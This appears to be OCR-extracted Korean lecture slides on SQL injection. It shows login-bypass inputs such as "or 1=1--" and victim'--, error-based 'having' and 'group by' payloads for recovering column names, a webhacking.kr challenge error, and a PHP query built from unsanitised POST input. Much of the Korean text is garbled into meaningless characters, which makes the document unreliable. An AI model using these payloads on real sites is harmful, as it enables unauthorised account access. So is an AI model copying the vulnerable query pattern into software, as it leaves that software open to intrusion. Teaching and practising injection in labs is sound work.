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1) AWM 23l = MAEXZ 2 1216k= SQL injection

ID:"or 1=1--
PW : abcd

select * from member where id=" or 1=1--' and
pwd='abcd'
=> select * from member where id=" or 1=1

=> select * from member
= I3 HH X3 El= AIEAE 2101

- =& X2l (MS-SQL)
# . =&X 2l (MySQL)
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2) SH AEXE 20015k B¢

select * from member where id="AF2 X & 2 and
pwd="AtS A+ = gt

ID : victim'--
PW : ?

select * from member where id="victim'-- and pwd="?"
=> select * from member where id="victim'
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Error Based SQL Injection
=> 0f| 2| HIAIXIE Soll DBE 32 & It}
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"having 1=1--
20 &2 D0 28 = HE

memberm_idx ZEH &S

=> 3|JAEEII S0 U= HIOI=E : member

=>m_idx 22 EZM(HF &0l

'‘group by memeber.m_idx--

memberm_id ZEY &S

‘group by member.m_idx, member.m_id--

member.m_name 2CE Y 8 S

'group by member.m_idx, member.m_id, member.m_name--
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& C [} webhacking kr/challenge/bonus/bonus=10/index. php
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Warning: mysal_fetch_array(): supplied argument is not a valid MySOL result resource in /home1/oldzombi2/challenge/bonus/bonus-
]0./index.php on line 17
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>

« PAMP=Z2 SAE HD M=ot & H 22 22 5 2
« $g=mysqgl fetch_ array(mysqgl query(“select'good' from
zmail_member where id='$_POST[id]")); £ 20l A
2520 id="$ POSTIid]0l (&= H) 2=0| &4 UKl Z 0t
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